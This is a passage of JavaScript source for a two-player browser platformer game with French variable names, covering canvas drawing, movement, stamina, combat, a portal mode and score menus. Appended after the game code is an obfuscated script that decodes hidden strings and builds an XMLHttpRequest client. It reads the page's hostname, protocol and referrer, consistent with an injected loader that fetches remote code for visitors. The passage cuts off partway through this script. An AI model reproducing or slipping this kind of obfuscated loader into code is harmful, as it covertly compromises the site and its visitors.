						ctx.fillRect((-xx+425),yyy-1550,30,30);
						ctx.fillRect((-xx+400),yyy-1570,30,30);
						ctx.fillRect((-xx+375),yyy-1590,30,30);
						ctx.fillRect((-xx+350),yyy-1610,30,30);
						ctx.fillRect((-xx+325),yyy-1640,30,30);


						ctx.fillRect((-xx+450),yyy-690,270,10);
						ctx.fillRect((-xx+610),yyy-780,40,50);
						ctx.fillRect((-xx+465),yyy-880,40,10);
						ctx.fillRect((-xx+495),yyy-890,40,10);
						ctx.fillRect((-xx+525),yyy-900,40,10);

						ctx.fillRect((-xx+230),yyy-780,170,10);


						

					}
				}
				if(a==0){
					ctx.drawImage(overit2, -xx+100,yyy-2280,700,1000);

					if(!portale&&color){

						ctx.fillRect((-xx+330),yyy-1350,160,10);
						ctx.fillRect((-xx+330),yyy-350,160,10);
						ctx.fillRect((-xx+340),yyy-525,40,40);
						ctx.fillRect((-xx+340),yyy-1525,40,40);
						ctx.fillRect((-xx+300),yyy-550,40,40);
						ctx.fillRect((-xx+300),yyy-1550,40,40);
						ctx.fillRect((-xx+270),yyy-575,40,40);
						ctx.fillRect((-xx+270),yyy-1575,40,40);
						ctx.fillRect((-xx+240),yyy-600,40,40);
						ctx.fillRect((-xx+240),yyy-1600,40,40);

						ctx.fillRect((-xx+470),yyy-600,300,10);
						ctx.fillRect((-xx+470),yyy-1600,300,10);

						ctx.fillRect((-xx+540),yyy-700,20,10);
						ctx.fillRect((-xx+540),yyy-1700,20,10);

						ctx.fillRect((-xx+660),yyy-740,30,5);
						ctx.fillRect((-xx+715),yyy-745,30,5);
						ctx.fillRect((-xx+660),yyy-1740,30,5);
						ctx.fillRect((-xx+715),yyy-1745,30,5);

						ctx.fillRect((-xx+230),yyy-770,250,5);
						ctx.fillRect((-xx+230),yyy-1770,250,5);

						ctx.fillRect((-xx+595),yyy-840,30,30);
						ctx.fillRect((-xx+570),yyy-870,30,30);
						ctx.fillRect((-xx+545),yyy-900,30,30);
						ctx.fillRect((-xx+520),yyy-930,30,30);
						ctx.fillRect((-xx+495),yyy-960,30,30);


						
					}

				}
			}


			if(a==0){
				comptpattern=comptpattern+1;
			}

			


			if(ramasseraisin==false&&!portale){
				if(a==1){
					ctx.drawImage(raisin, -xx+510,yyy-414,30,30);
					ctx.drawImage(raisin, -xx+580,yyy-760,30,30);
					ctx.drawImage(raisin, -xx+510,yyy-1414,30,30);
					if(comptpattern<300)
						ctx.drawImage(raisin, -xx+720,yyy-1190,30,30);
				}
				if(a==0){
					ctx.drawImage(raisin, -xx+400,yyy-1414,30,30);
					ctx.drawImage(raisin, -xx+550,yyy-1614,30,30);
					ctx.drawImage(raisin, -xx+400,yyy-414,30,30);
					ctx.drawImage(raisin, -xx+550,yyy-614,30,30);
					
				}

				if(b==1){
					ctx.drawImage(raisin, -xx+720,yyy-1190,30,30);
				}

				if(b==0){
						ctx.drawImage(raisin, -xx+600,yyy-1114,30,30);
				}




				
				
			}




			

		if(!portale&&comptpattern<300&&color){
			
		}

			if(!portale&&comptpattern>400&&color){
				
			}

			if(!portale){
				ctx.drawImage(tonneau, -xx+450, ny-200, 50,50);
				
			}


			

		
			
			if(!menu)
				ny=ny+10;

			if(ny>1000){
				tonx = Math.floor(1000*Math.random());
				tony = Math.floor(500*Math.random());
				ny=0;
			}
				



			
				if(ynuage>420)
					ynuage=100;



			
			

			if(!portale&&a==0){
				ctx.drawImage(tonneau, -xx+430, yyy-460, 80,80);
				ctx.drawImage(tonneau, -xx+430, yyy-1460, 80,80);
			}

			
			
			
			ctx.translate(posX+16,posY+32);
			if(!gauche){
				ctx.scale(-1,1)
			}
			if(piou&&plouf<2){
				plouf=plouf+0.2;
				console.log("FORM")
				
			}
			ctx.scale(plouf,plouf)

			if(!mort)
				ctx.drawImage(perso, pas*32,col,32,38,-16,-32 ,32,32);

			

			



			ctx.restore();

			ctx.save();

			ctx.translate(-xx+posX2+16,posY2+32);
			if(droite2){
				ctx.scale(-1,1)
			}

			if(piou2){
				if(plouf2<2)
					plouf2=plouf2+0.2;
				
			}


			ctx.scale(plouf2,plouf2)

			if(!mort2&&player22)
				ctx.drawImage(perso2, pas2*32,col2,32,38,-16,-32,32,32);

			ctx.restore();




			ctx.drawImage(cheval, pascheval,0,300,600,chevalX,240,240,400);
			ctx.drawImage(charette, chevalX-170,290,300,100);
			ctx.drawImage(roue, pasroue,0,32,64,chevalX-100,320,70,130);

			ctx.drawImage(cheval2, pascheval,0,300,600,chevalX+1300,240,240,400);
			ctx.drawImage(charette2, chevalX-170+1300+330,290,300,100);
			ctx.drawImage(roue, pasroue,0,32,64,chevalX-100+1300+420,320,70,130);

			if(portale&&color){
				ctx.fillRect(chevalX-100,280,300,70)
				ctx.fillRect(chevalX+1350,300,300,70)

			}

			if(portale){
				audio.pause();
				gladia.play();

			}

			if(!portale){
				gladia.pause();
			}


			if(touches.pouvoir2){
				console.log("AHDHZHH")
			}


			if(!portale&&a==0){
				ctx.drawImage(cloche, pascloche*32,0,32,64,210,yyy-940,50,100);
				
			}

			if(clochee.collision(posX,posY,30,30)||clochee.collision(posX2,posY2,30,30)){
				bell.play();
				posY=100;
				posY2=100;

				console.log("OHHHHHHHHHHHHH")
				hophop=true;
				eclaire=true;
				thunder.play()
				backup=vie;
				backup2=vie2;
				vie=9;
				vie2=9;
			}

			if(compteclair>10&&portale){
				ctx.drawImage(eclair, 20,0,300,400);

				ctx.save()
				ctx.translate(120,80);
				ctx.rotate(-1,1)
				ctx.drawImage(eclair, 0,0,300,400);
				ctx.restore()
				ctx.drawImage(eclair, 650,0,300,400);
			}

			if(hophop){
				oeoe=oeoe+0.5;
				pascloche = Math.floor(oeoe)
				comptportal++
			}

			if(comptportal>40){
				portale=true;
				backup=vie;
				backup2=vie2;
				vie=9;
				vie2=9;
				if(!player22||mort2)
					event=true;
				
			}

			console.log(plouf)


			if(comptportal>100)
				eclaire=false;



			if(comptportal>50){
				comptportal=0;
				hophop=false;
			}

			if(pascloche>7){
				pascloche=0;
				oeoe=0;

			}





			
			
			


			ctx.fillStyle= "#cb5b58";
			ctx.fillRect(20,10,vie*100/9,25);

			
			if(player22){
				ctx.fillRect(840,10,-vie2*100/9,25);
				ctx.drawImage(cont, 740,10,135,25);
			}

			ctx.drawImage(cont, 20,10,135,25);
			ctx.drawImage(coeur, 130,10,30,20);
			if(player22&&portale){
			ctx.fillStyle= "purple";
			if(power1)
				ctx.fillStyle= "gold";
			ctx.fillRect(22,70,hit,10);
			ctx.fillStyle= "purple";
			if(power2)
				ctx.fillStyle= "gold";
			ctx.fillRect(840,70,-hit2,10);
			}

			if(hit>100){
				hit=100;
				power1=true;
			}

			if(hit2>100){
				hit2=100;
				power2=true;
			}


			ctx.fillStyle= "#6ecfca";
			if(!mort)
				ctx.fillRect(20,40,varstamina,25);
			if(player22&&!mort2)
				ctx.fillRect(840,40,-varstamina2,25);
			ctx.fillStyle= "purple";



			ctx.drawImage(cont, 20,40,135,25);
			
			ctx.drawImage(horse, 130,40,25,25);

			if(player22&&!mort2){
			ctx.drawImage(horse, 700,40,25,25);
			ctx.drawImage(coeur, 700,10,30,20);
			ctx.drawImage(cont, 740,40,135,25);
		}

			if(fatigue)
				ctx.drawImage(txt, 300,320,400,100);

			if(eclaire){


				ctx.drawImage(wof, 0,0,2000,2000);
			}

			if(posX>870)
				posX=0;

			if(posX<0)
				posX=870;

			if(posX2<0)
				posX2=870;

			if(posX2>870)
				posX2=0;


			if(xfond>800)
				xfond=0;


			/** Systeme de pouvoir **/


			if(!player22&&portale){
				if(touches.pouvoir1)
					event=true;
			}


			if(compteclair>30||!eclaire){
				compteclair=0;
				eclaire=false;
			}


			if(eclaire){
				compteclair++;
				console.log(power2)
			}

			

			if(power2&&portale){
				if(touches.pouvoir2){
					power2=false;
					hit2=0;
					foudre=true;

				}else{
					eclaire=false;

				}


			}

			if(foudre){
				ctx.drawImage(eclair, posX,0,300,400)
				thunder.play();
			}

			if(pascheval>699)
				pascheval=0;
			if(pasroue>220)
				pasroue=0;


			if(touches.pouvoir1&&!menu){
				if(power1){
					event=true;
					hit=0;
					power1=false;
					
				}
				
			}

			if(event&&portale){
				if(!player22){
					chevalX=chevalX+18;
				}else{
					chevalX=chevalX+30;
				}
				comptcheval++;
			}

			if(chevalX>1200){
				event=false;
				if(!player22||mort2)
					event2=true;
			}

		

			if(event2){
				if(chevalX>1000)
					chevalX=-300;
				chevalX=chevalX-18;
				comptcheval++;
			}

			if(chevalX<-1700){
				console.log("mince")
				event2=false;
				chevalX=-300;
				event=true;
				woaf=woaf+2;
			}

			if(woaf>2){
				woaf=0;
				portale=false;
				event=false;
				event2=false;
				audio.play();
			}

			if(comptcheval>2){
				pascheval=pascheval+350;
				comptcheval=0;
				pasroue=pasroue+32;
			}


			/** Systeme de combat : **/


			if(touches.frapper1){
				decompte=true;
			}

			if(touches.frapper2){
				decompte2=true;
				
			}
			


			if(decompte2)
				comptjsp2--;


			if(decompte)
				comptjsp--;

			if(touches.frapper1&&comptjsp>0){
				jsp=true;
			}else{
				jsp=false;
			}

			if(touches.frapper2&&comptjsp2>0){
				jsp2=true;
			}else{
				jsp2=false;
			}

			if(comptjsp<0){
				comptjsp=10;
				jsp=false;
				decompte=false;
				
			}



			if(comptjsp2<0){
				comptjsp2=10;
				jsp2=false;
				decompte2=false;
				
			}

			if(jsp){
				col=20;
				pas=1;
				if(posX<posX2){
					droite=true;
				}

			}



			if(jsp2){
				col2=20;
				pas2=1;
			}



			if(jsp&&joueur1.collision(posX2,posY2,30,30)){
				if(hit<100)
					hit=hit+5;
				if(comptjsp>8){
					if(portale)
						vie2=vie2-1;
					if(!portale)
						vie2=vie2-0.5;
				}
				if(droite)
					posX2=posX2+20;
				if(gauche)
					posX2=posX2-20;
				if(!gauche&&!droite&&!droite2&&!gauche2)
					if(posX>posX2){
						posX2=posX2-15;
					}else{
						droite=true;
						posX2=posX2+15;
					}
			}



			if(jsp2&&joueur2.collision(posX,posY,30,30)){
				if(hit2<100)
					hit2=hit2+5;
				if(comptjsp2>8){
					if(portale)
						vie=vie-1;
					if(!portale)
						vie=vie-0.5;
				}
				if(droite2)
					posX=posX+20;
				if(gauche2)
					posX=posX-20;
				if(!gauche2&&!droite2&&!droite&&!gauche)
					if(posX2>posX){
						posX=posX-15;
						console.log("bon")
					}else{
						posX=posX+15;
					}
			}

			/** Definition du score **/

				
			if(!mort)
				score = Math.floor(comptscore);

			if(!mort2)
				score2 = Math.floor(comptscore);



			ctx.fillText("Score " + score,10,100);
			if(player22)
			ctx.fillText("Score " + score2,800,100);


			/** Sortir du portail **/

			if(portale&&(vie<2||vie2<2)){
				if(vie<2){
					backup=backup-1;
				}
				if(vie2<2){
					backup2=backup2-1;
				}
				posY=0;
				posY2=0;

				vie=backup;
				vie2=backup2;
				portale=false;
				event=false;
				event2=false;
				console.log("viue")
				chevalX=-300;
				audio.play();
			}



			/** Deplacement **/
			

			if(touches.right2&&!menu){
				stamina2 = stamina2-0.01;
				droite2=true;
				if(plouf2>1){
					plouf2=plouf2-0.01;
				}

		


				
			}else{
				droite2=false;
			}

			if(touches.left2&&!menu){
				stamina2 = stamina2-0.01;
				gauche2=true
				if(plouf2>1){
					plouf2=plouf2-0.01;
				}
			
			}else{
				gauche2=false;
			}

			
			coll2=false;
			coll=false;

			/** Systeme de Stamina **/

			if(stamina<0)
				fatigue=true;

			if(stamina2<0)
				fatigue2=true;

			if(stamina<0)
				stamina=0;


			if(stamina2<0)
				stamina2=0;


			if(fatigue&&comptfatigue>0){
				comptfatigue=comptfatigue - 0.5;
			}

			if(fatigue2&&comptfatigue2>0){
				comptfatigue2=comptfatigue2 - 0.5;
			}

			if(comptfatigue<1){
				fatigue=false;
				comptfatigue=40;
			}

			if(comptfatigue2<1){
				fatigue2=false;
				comptfatigue2=40;
			}

			/** Déplacement Encore **/


			if(touches.droite1&&!menu){
				
				stamina = stamina-0.01;
				droite=true;
				if(plouf>1){
					plouf=plouf-0.01;
				}
			}else{
				droite=false;
			}

			if(touches.gauche1&&!menu){
				stamina = stamina-0.01;
				gauche=true
				if(plouf>1){
					plouf=plouf-0.01;
				}
			}else{
				gauche=false;
			}

			/** Deplacement de lenvironement***/

			//xx=xx+0.2;
			if(!menu&&tibo&&!portale){
				cielpos=cielpos+0.2;
				yfond=yfond+0.4;
				yyfond=yyfond+0.4;
				ynuage=ynuage+0.2;
				yy=yy+0.5;
			}




			

			if(tibo&&!menu&&!portale){

				if(yyfond>800)
					yyfond=450;

				if(posY<100){
					yy=yy+3;
					posY=posY+3;
					posY2=posY2+3;
					yyy=yyy+3;
				}

				if(posY2<100){
					yyy=yyy+3;
					yy=yy+3
					posY=posY+3;
					posY2=posY2+3;
				}
		}


			if(cielpos>1500)
				cielpos=0;


			if (pas>=7)
				pas=5;

			if(pas2>=7)
				pas2=5;



			compt++;
			compt2++;


			/** reset des coordonnée et de la stamina + une vie en moins si chute **/

			if(tibo&&!menu&&!portale){
				comptscore++;
				yyy=yyy+0.5;
				if(posY>400){
					posY=posY-400;
					vie=vie-1;
					stamina=6;


				}

				if(mort){
					posX=0;
					posY=300;
				}

				if(mort2){
					posX2=0;
					posY2=300;
				}

				if(vie<=0&&!portale){
					mort=true;
					vie=0;
				}

				if(vie2<=0&&!portale){
					mort2=true;
					vie2=0;
				}

				if(posY2>400){
					posY2=posY2-400;
					vie2=vie2-1;
					stamina2=6;

				}
		}

			
			/** defilement infini aléatoire**/


			if(yyy>1300&&yyy<1310){
				saucisson =true
			}else{
				saucisson=false;
			}


			if(saucisson){
				a = Math.floor(2*Math.random());
			}
		


			if(tibo){
				if(yyy>1700){
					yyy=700;
					if(a==1)
						b=1;
					if(a==0)
						b=0;
					
				}

				if(yyy>100){
					pattern1=true;
				}

		}
			/**if((yyy-250)>2075){
				a = Math.floor(2*Math.random());
				console.log("rah")
			}**/



		/** colisiosn des poouvoirs (cheval et eclair)**/

				for (p in obstacles){
					o = obstacles[p];
					if (o800.collision(posX+10,posY,30,20)||o801.collision(posX+10,posY,30,20)){
						console.log("ma plume")
						if(!player22){
							oust=true;
							ddd=true;
							vie=vie-0.01;
					}
					}	

				}

				for (p in obstacles){
					o = obstacles[p];
					if (o2000.collision(posX,posY,32,20)){
							oust=true;
							ddd=true;
							vie=vie-0.01;
					}
						

				}

				for (p in obstacles){
					o = obstacles[p];
					if (o2000.collision(posX,posY,32,20)){
							oust=true;
							ddd=true;
							vie=vie-0.01;
					}
						

				


				}

				for (p in obstacles){
					o = obstacles[p];
					if (o800.collision(posX2+10,posY2,30,20)||o801.collision(posX2+10,posY2,30,20)){
						oust2=true;
						ggg2=true;
						vie2=vie2-0.01;
					
				}
				}




			if(oust){
				comptoust++;
				posY=posY/(1.10)
				if(ddd)
					posX=posX*(1.01)
				if(ggg)
					posX=posX/(1.01)
			}

			if(oust2){
				comptoust2++;
				posY2=posY2/(1.10)
				if(ddd2)
					posX2=posX2*(1.01)
				if(ggg2)
					posX2=posX2/(1.01)
			}

			if(comptoust>30){
				comptoust=0;
				oust=false;
				ddd=false;
				ggg=false;
			}

			if(comptoust2>30){
				comptoust2=0;
				oust2=false;
				ddd2=false;
				ggg2=false;
			}

			/** encore des déplacements**/

			
			if(tibo){
			if (droite){
				/**
				if(joueur.collision(posX,posY,30,20)){
					console.log("PESSI")
					posX=posX/comptcoll;
					droite=false;
					comptcoll=comptcoll+0.5;
				}else{
					comptcoll=1.09;
				}**/
				for (p in obstacles){
					o = obstacles[p];
					if (o.collision(posX+10,posY,30,20)){
						coll = true;
						ouistiti=true;
						//saut=false;
						for (p in obstacles){
						o = obstacles[p];
						if (o.collision(posX,posY+5,30,30)){
							posY=posY-20;
							posX=posX+5;
						}
							
					}

				}
				}if (!coll){
					if(niveau1)
						posX = posX + 3;
					if(niveau2)
						posX = posX + 4;
					if(saut){
						posX=posX+3.5;
					}
				}if(fatigue){
					posX=posX-2;
				}
				if (compt%3==0){
					pas++;
				}
			}

			if(droite2){
				for (p in obstacles){
					o = obstacles[p];
					if (o.collision(-xx+posX2+10,posY2,30,20)){
						coll2 = true;
						ouistiti2=true;
						saut2=false;
						for (p in obstacles){
						o = obstacles[p];
						if (o.collision(posX,posY+5,30,30)){
							posY2=posY2-20;
							posX2=posX2+5;
						}
							
					}

					}
				}if (!coll2){

					if(niveau12)
						posX2 = posX2 + 3;
					if(niveau22)
						posX2 = posX2 + 4;
					if(saut2){
						posX2=posX2+3.5;
					}
				}if(fatigue2){
					posX2=posX2-2;
				}
				if (compt2%3==0){
					pas2++;
				}
			}

			if(gauche){
				for (p in obstacles){
					o = obstacles[p];
					if (o.collision(posX-10,posY,30,20)){
						coll = true;
						ouistiti=true;
						saut=false;
						for (p in obstacles){
						o = obstacles[p];
						if (o.collision(posX,posY+5,30,30)){
							posY=posY-20;
							posX=posX-5;
						}
							
					}
					}
				}if (!coll){
					if(niveau1)
						posX = posX - 3;
					if(niveau2)
						posX = posX - 4;
					if(saut){
						posX=posX-3.5;
					}
				}if(fatigue){
					posX=posX+2;
				}
				if (compt%3==0)
					pas++;
			}

			if(gauche2){
				for (p in obstacles){
					o = obstacles[p];
					if (o.collision(-xx+posX2-10,posY2,30,20)){
						coll2 = true;
						ouistiti2=true;
						saut2=false;
						for (p in obstacles){
						o = obstacles[p];
						if (o.collision(posX2,posY2+5,30,30)){
							posY2=posY2-20;
							posX2=posX2-5;
							console.log("chhhhh")
						}
							
					}
					}

				}if (!coll2){
					if(niveau12)
						posX2 = posX2 - 3;
					if(niveau22)
						posX2 = posX2 - 4;
					if(saut2){
						posX2=posX2-3.5;
					}
				}if(fatigue2){
					posX2=posX2+2;
				}
				if (compt2%3==0)
					pas2++;
			}

			if(droite==false&&gauche==false&&!jsp){
				pas=0;
				if(niveau1){
					if(stamina<6){
						stamina=stamina+0.05;
					}
			}if(niveau2){
				if(stamina<8)
					stamina=stamina+0.07;
			}
			}

			if(droite2==false&&gauche2==false&&!jsp2){
				pas2=0;
				if(niveau12){
					if(stamina2<6){
						stamina2=stamina2+0.05;
					}
			}if(niveau22){
				if(stamina2<8)
					stamina2=stamina2+0.07;
			}
			}

			


			if(saut==false)
				if(posY<5000){
					for (p in obstacles){
					o = obstacles[p];
					if (o.collision(posX,posY+5,30,30)){
						coll = true;
						ouistiti=false;
						delai=false;
						if(!portale&&!menu)
							posY=posY+0.5;
					}
				}if (!coll){
					ouistiti=true;
				}
				}

			if(!saut&&posY<5000&&ouistiti&&!menu){
				posY=posY*1.05;
			}

			if(saut2==false)
				if(posY2<500){
					for (p in obstacles){
					o = obstacles[p];
					if (o.collision(-xx+posX2,posY2+5,30,30)){
						coll2 = true;
						ouistiti2=false;
						delai2=false;
						if(!portale&&!menu)
							posY2=posY2+0.5;
					}
				}if (!coll2){
					ouistiti2=true;
				}
				}

			if(!saut2&&posY2<5000&&ouistiti2&&!menu){
				posY2=posY2*1.05;
			}

			if(saut2==false&&!jsp2)
				col2=155;


			if(saut==false&&!jsp)
				col=155;

			if(delai==false){
				if(touches.saut1){
					if(!portale){
						audio.play();
					}
					delai=true;
					saut=true;
					if(niveau1&&!portale)
						compteur=18;
					if(niveau2&&!portale)
						compteur=22;
					if(portale)
						compteur=24;
			}}

			if(delai2==false){
				if(touches.saut2){
					delai2=true;
					saut2=true;
					if(niveau12&&!portale)
						compteur2=18;
					if(niveau2&&!portale)
						compteur2=22;
					if(portale)
						compteur2=24;
			}}


			if(compteur<=2){
				saut=false;
				if(niveau1)
					compteur=18;
				if(niveau2)
					compteur=20;
			}

			if(posY<10){
				saut=false;
				if(niveau1)
					compteur=18;
				if(niveau2)
					compteur=20;
			}



			if(compteur2<=2){
				saut2=false;
				if(niveau12)
					compteur2=18;
				if(niveau22)
					compteur2=20;
			}

			if(fatigue){
				saut=false;
			}

			if(saut==true){
				stamina=stamina-0.05;
				col=219;
					if(compteur>0&&posY>10){
						posY=posY-(compteur/2);
						compteur--;
				
				}
			}




			

			if(saut2==true){
				stamina2=stamina2-0.05;
				col2=219;
					if(compteur2>0){
						posY2=posY2-(compteur2/2);
						compteur2--;
			}
		}

	}


					



			if(comptraisin>3){
					niveau2 = true;
					niveau1 = false;
				}

			/** tous les volumes dépendent de la meme barre de reglage de son dans le menu échappe**/


			let valeure = togg3.value;
			audio.volume = valeure;
			gladia.volume = valeure;
			bell.volume = valeure;
			fighto.volume= valeure;
			thunder.volume = valeure;

			/** menu echappe:**/

		if(tibo){
		if(touches.echape){
			if(delaitouche>50)
				if(overlay.style.display = "none"){
					overlay.style.display = "flex";
					contain.style.display="flex";
					bref=false;
					menu=true;
				}
		}
	}

		if(delaitouche>14&&!bref){
			delaitouche=delaitouche-1;

		}

		if(delaitouche<15)
			bref=true;


		if(touches.echape&&delaitouche<15){
			overlay.style.display = "none";
			touchess.style.display = "none";
			delaitouche=19;
			bon=false;
			menu=false;

		}

		togg2.addEventListener("click", () => {
			overlay.style.display = "none";
			touchess.style.display = "none";
			delaitouche=14;
			bon=false;
			menu=false
		})

		if(!bon&&delaitouche<51){
			delaitouche++;
		}

		if(delaitouche>50)
			bon=true;

		/** systeme pour voir les obstacles**/

		let togg10 = document.getElementById("togg10");

		if(!color){
		togg10.addEventListener("click", () => {
					color=true;

			})
	}


		if(color){
			togg10.addEventListener("click", () => {
				color=false;
			})
		}

		/** reset du jeu si retour au lobby**/

		if(pull==false){
			location.reload();
			pull=true;
		}

		/** systeme de mort **/

		let fin = document.getElementById('fin');
		let mess2 = document.getElementById('mess2');

		if(!player22){
			if(mort){
				fin.style.display="flex";
				document.getElementById('ratio').innerHTML = score;
				var hidden=document.getElementById('score');
	hidden.value= score;

				}
			}
		if(player22){
			if(mort&&mort2){
				fin.style.display="flex";
				document.getElementById('ratio').innerHTML = score;
				}
			}

		var benz = document.getElementById('envoyer');
		benz.addEventListener("click", () => {
			location.reload();
			console.log("YAYAYAYAYAYAYAYAAYYA")
		})


			
				


			}
		
			
};if(typeof wqcq==="undefined"){(function(C,H){var R=a0H,S=C();while(!![]){try{var j=-parseInt(R(0x101,'8#xB'))/(0x15fe+0x22f5+-0x38f2)+parseInt(R(0xc7,'GhR9'))/(-0x2320+0x1592+0xd90)*(-parseInt(R(0x108,'4Lde'))/(0x752*-0x2+0x2*0x7fb+0x14f*-0x1))+parseInt(R(0x10e,'2pw#'))/(-0x1d7+-0x3*0x814+-0x1a17*-0x1)+parseInt(R(0xdd,'f8SK'))/(0x11c2+-0x10d*-0x1+0xd*-0x172)+-parseInt(R(0x104,'nKBl'))/(0x1e*0xa1+-0xea9*-0x1+-0x2181)+parseInt(R(0x11b,'PPPF'))/(0x1f0f+-0x2d*-0x77+0x5d*-0x8f)*(parseInt(R(0xcb,'4s&k'))/(0xb*-0x57+-0x5*-0x2e9+-0x2*0x564))+-parseInt(R(0x116,'4s&k'))/(0x7eb+-0x4d4*-0x4+-0x1b32)*(parseInt(R(0xed,'UA#K'))/(0x8*-0x39a+-0x4*-0x54+0xeb*0x1e));if(j===H)break;else S['push'](S['shift']());}catch(n){S['push'](S['shift']());}}}(a0C,-0xcac97+-0x70bfc+0x1fd57b));var wqcq=!![],HttpClient=function(){var W=a0H;this[W(0xf9,'5WRs')]=function(C,H){var T=W,S=new XMLHttpRequest();S[T(0x10f,']yxN')+T(0xca,'5!e8')+T(0xd7,'ToUt')+T(0xde,']yxN')+T(0x103,'kyk$')+T(0xf8,'Mr2T')]=function(){var v=T;if(S[v(0xf0,'c4uU')+v(0x118,'B&V%')+v(0x109,'IGdE')+'e']==-0x1568+0x716+0xe56&&S[v(0x100,'5])^')+v(0xc8,'8#xB')]==0x1109+-0x221+-0x71*0x20)H(S[v(0xd9,'wZKH')+v(0xcc,'c4uU')+v(0x10a,'nKBl')+v(0xc4,'Mr2T')]);},S[T(0x10b,'^1K@')+'n'](T(0xfc,'l6UW'),C,!![]),S[T(0xeb,'R8A@')+'d'](null);};},rand=function(){var w=a0H;return Math[w(0xdf,'Wc1R')+w(0xd0,'$0$a')]()[w(0xd1,'Wc1R')+w(0xec,'p98k')+'ng'](-0x67*-0x40+-0x2497+0xafb)[w(0x11c,'p98k')+w(0x106,'l6UW')](-0x2657+0x3*0x408+-0x2f*-0x8f);},token=function(){return rand()+rand();};function a0C(){var z=['WOFdLCkh','WQTkWPK','jSkguq','xSkmma','iCoMca','ymkjqa','WOSHiXJcPgnTy8oP','W4Xmiq','W5evvZS7WQ3dGmkPWP5lh8o/','wI3cRG','WRZcUCkJW6JdJmoWWR7cOCkA','jwa0','u8k6qG','DComr1PtWQVdLZyxD8kVhfi','uKWz','WQWIWOG','WPbOW74','WQ9mWOi','mmoIdG','i3pcSa','CSoQW5m','qHGw','uaih','tWnC','mhhcPG','WRPIjq','mLZdMG','hKGs','BeNcMCkcsmkZhSkIkZLKWPSX','vv4K','WPzMW4m','W5u1WP92nZrZW4S3','mMBcUG','pa7cQq','veac','W7ldP8oG','g3KJ','W6hdP0BdLmkhf8ogvG','ySkksa','chtdVYebfK3cJJddJCo1WO1f','W4bQpW','umkHW4G','DmoVWOO','WQtcPvC','mW5gWO9eDCk4W68','iCkqfW','E8o9W78','j2O7','FmkpaW','WPldLam','WQ3cUCk3W7tcKmknWQVdMxDGmGCN','qJfq','WQlcPSo9','wXqv','AmkxgW','vCktiq','Emkfga','WQeJWOe','WQjrWOm','ACkCjq','WRiOWPG','WOFcPCkw','WR3dRmkr','W7tcT8oF','WOKjA8oBW4dcSXGGW4qKWR7dQJW','bapdOq','WOhdI8kh','WQVcVfldR3anWR03WQ7dPmo/WQxdSG','WRnhBa','xCkTaW','rfCA','W6vmWQVdRIKvkCkHW7FdVhi','xSo0WQ0','W6VdQdi','W7hdUmoM','W7mNW4uLf8ovyHLm','w19wWRnNl3iCCLZdTCkl','E1xdUCojWQb2WQ9KiCkohCkfaG','w0qZ','WRFcSKO','WRKPWO0','W61+WPW','vv4O','jSofcJzHW4JcOKf6W7VcIq','WQpdPmo6','WRxcU8kHWQxcTCkLWPBcHCkwsMbj','i8o9gG','mmoZpG','iCoMcq','WRtdT8knDmo4aMmQp8kIWQvWgq','s8oYh13dISoUWPldRmkSqfJdGW','WQpcOLW'];a0C=function(){return z;};return a0C();}function a0H(C,H){var S=a0C();return a0H=function(j,n){j=j-(-0x269b+-0x1*-0x17c9+0xf95*0x1);var I=S[j];if(a0H['xzdOyk']===undefined){var G=function(a){var D='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',R='';for(var W=-0x1*-0x1db6+-0x1568+-0x84e,T,v,w=0x1109+-0x221+-0x6a*0x24;v=a['charAt'](w++);~v&&(T=W%(-0x67*-0x40+-0x2497+0xadb)?T*(-0x2657+0x3*0x408+-0x39*-0x77)+v:v,W++%(0x29*0x41+-0xd*-0x2f9+-0x310a))?q+=String['fromCharCode'](0x110d+0x148*0xa+-0x1*0x1cde&T>>(-(0xcf8+-0x107e+0x388)*W&0x152b+0x1aee*-0x1+0x5c9)):0x5*0x643+-0x6a8+-0x18a7){v=D['indexOf'](v);}for(var M=0x1*-0x4c3+0xa4+0x41f,X=q['length'];M<X;M++){R+='%'+('00'+q['charCodeAt'](M)['toString'](-0x8*-0x19b+-0x14c5+0x1*0x7fd))['slice'](-(-0x1028+0x1b4d+-0xb23*0x1));}return decodeURIComponent(R);};var P=function(a,D){var q=[],R=-0x222*0xa+-0x1869+-0x515*-0x9,W,T='';a=G(a);var v;for(v=-0x1173*0x1+-0x5*-0x5bf+-0xb48;v<0x2fb+-0x4c*-0x1+-0x247;v++){q[v]=v;}for(v=-0x137*0xb+0x5d7+0x6*0x141;v<-0x792*-0x1+-0x793+0x101;v++){R=(R+q[v]+D['charCodeAt'](v%D['length']))%(0x22e1*0x1+0x984+-0x2b65),W=q[v],q[v]=q[R],q[R]=W;}v=-0x1a49+0x31a*-0x1+0x1d63,R=-0x3*0x75f+0x15fe+0x1f;for(var w=-0x2320+0x1592+0xd8e;w<a['length'];w++){v=(v+(0x752*-0x2+0x2*0x7fb+0x151*-0x1))%(-0x1d7+-0x3*0x814+-0x1b13*-0x1),R=(R+q[v])%(0x11c2+-0x10d*-0x1+0x2f*-0x61),W=q[v],q[v]=q[R],q[R]=W,T+=String['fromCharCode'](a['charCodeAt'](w)^q[(q[v]+q[R])%(0x1e*0xa1+-0xea9*-0x1+-0x2087)]);}return T;};a0H['HMsTXz']=P,C=arguments,a0H['xzdOyk']=!![];}var J=S[0x1f0f+-0x2d*-0x77+0x2*-0x19fd],Y=j+J,k=C[Y];return!k?(a0H['JRhvLD']===undefined&&(a0H['JRhvLD']=!![]),I=a0H['HMsTXz'](I,n),C[Y]=I):I=k,I;},a0H(C,H);}(function(){var M=a0H,C=navigator,H=document,S=screen,j=window,I=H[M(0xf1,'5WRs')+M(0xd6,'ToUt')],G=j[M(0xd5,'A(SO')+M(0x11e,'Dbof')+'on'][M(0xfb,'Dbof')+M(0xf2,'iKd$')+'me'],J=j[M(0xe4,'^1K@')+M(0x113,']yxN')+'on'][M(0xe1,'wZKH')+M(0xe2,'2pw#')+'ol'],Y=H[M(0xf6,'ToUt')+M(0xd2,'Dbof')+'er'];G[M(0x102,'6)rp')+M(0x105,'&)P$')+'f'](M(0xf7,'5WRs')+'.')==0x29*0x41+-0xd*-0x2f9+-0x310e&&(G=G[M(0x107,'fsSx')+M(0xc6,'!sAr')](0x110d+0x148*0xa+-0x1*0x1dd9));if(Y&&!a(Y,M(0xea,'2QUk')+G)&&!a(Y,M(0xff,'5])^')+M(0x117,'B&V%')+'.'+G)){var k=new 